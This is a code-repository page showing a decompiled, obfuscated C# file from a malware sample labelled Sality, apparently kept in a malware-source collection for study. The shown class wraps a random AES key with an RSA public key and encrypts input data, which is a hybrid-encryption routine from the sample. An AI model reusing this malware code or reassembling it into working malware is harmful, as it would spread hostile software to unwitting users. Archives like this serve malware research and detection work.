MalwareSourceCode/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0003/_0005.cs
2022-08-18 06:28:56 -05:00

85 lines
4.1 KiB
C#
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

// Decompiled with JetBrains decompiler
// Type: .
// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe
using \u0001;
using \u0003;
using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
namespace \u0003
{
internal sealed class \u0005
{
[NonSerialized]
internal static \u0002 \u0001;
public static string \u0001;
public static byte[] \u0003([In] byte[] obj0, [In] string obj1)
{
if (\u0087\u0003.\u007E\u008D\u0003((object) obj1, \u0005.\u0001(696)))
{
\u0005.\u0001 = \u0005.\u0001(701);
return (byte[]) null;
}
try
{
RijndaelManaged rijndaelManaged = new RijndaelManaged();
RSACryptoServiceProvider cryptoServiceProvider = new RSACryptoServiceProvider();
\u0096\u0004.\u007E\u009B\u0007((object) cryptoServiceProvider, obj1);
\u0087\u0005.\u007E\u0008\u0008((object) rijndaelManaged);
\u0087\u0005.\u007E\u000E\u0008((object) rijndaelManaged);
byte[] numArray1 = new byte[48];
\u0081\u0004.\u0083\u0004((Array) \u0095\u0002.\u007E\u0002\u0008((object) rijndaelManaged), 0, (Array) numArray1, 0, 32);
\u0081\u0004.\u0083\u0004((Array) \u0095\u0002.\u007E\u009F\u0007((object) rijndaelManaged), 0, (Array) numArray1, 32, 16);
MemoryStream memoryStream = new MemoryStream();
try
{
byte[] numArray2 = \u0004\u0003.\u007E\u0014\u0008((object) cryptoServiceProvider, numArray1, false);
\u009D\u0004.\u007E\u001E\u0007((object) memoryStream, (byte) 1);
\u009D\u0004.\u007E\u001E\u0007((object) memoryStream, \u008F\u0003.\u0088\u0004(numArray2.Length / 8));
\u009B\u0005.\u007E\u001D\u0007((object) memoryStream, numArray2, 0, numArray2.Length);
}
catch (CryptographicException ex1)
{
try
{
byte[] numArray3 = new byte[16];
byte[] numArray4 = new byte[16];
\u0081\u0004.\u0083\u0004((Array) \u0095\u0002.\u007E\u0002\u0008((object) rijndaelManaged), 0, (Array) numArray3, 0, 16);
\u0081\u0004.\u0083\u0004((Array) \u0095\u0002.\u007E\u0002\u0008((object) rijndaelManaged), 16, (Array) numArray4, 0, 16);
byte[] numArray5 = \u0004\u0003.\u007E\u0014\u0008((object) cryptoServiceProvider, numArray3, false);
byte[] numArray6 = \u0004\u0003.\u007E\u0014\u0008((object) cryptoServiceProvider, numArray4, false);
byte[] numArray7 = \u0004\u0003.\u007E\u0014\u0008((object) cryptoServiceProvider, \u0095\u0002.\u007E\u009F\u0007((object) rijndaelManaged), false);
\u009D\u0004.\u007E\u001E\u0007((object) memoryStream, (byte) 2);
\u009D\u0004.\u007E\u001E\u0007((object) memoryStream, \u008F\u0003.\u0088\u0004(numArray5.Length / 8));
\u009B\u0005.\u007E\u001D\u0007((object) memoryStream, numArray5, 0, numArray5.Length);
\u009B\u0005.\u007E\u001D\u0007((object) memoryStream, numArray6, 0, numArray6.Length);
\u009B\u0005.\u007E\u001D\u0007((object) memoryStream, numArray7, 0, numArray7.Length);
}
catch (CryptographicException ex2)
{
\u0005.\u0001 = \u0005.\u0001(794);
return (byte[]) null;
}
}
CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, \u0013\u0005.\u007E\u0005\u0008((object) rijndaelManaged), CryptoStreamMode.Write);
\u009B\u0005.\u007E\u001D\u0007((object) cryptoStream, obj0, 0, obj0.Length);
\u0087\u0005.\u007E\u009D\u0007((object) cryptoStream);
return \u0095\u0002.\u007E\u008B\u0007((object) memoryStream);
}
catch (Exception ex)
{
\u0005.\u0001 = \u0010\u0003.\u0095\u0003(\u0005.\u0001(1000), \u0003\u0006.\u007E\u0001\u0004((object) ex));
return (byte[]) null;
}
}
static \u0005() => \u0001.\u0003.\u0003();
}
}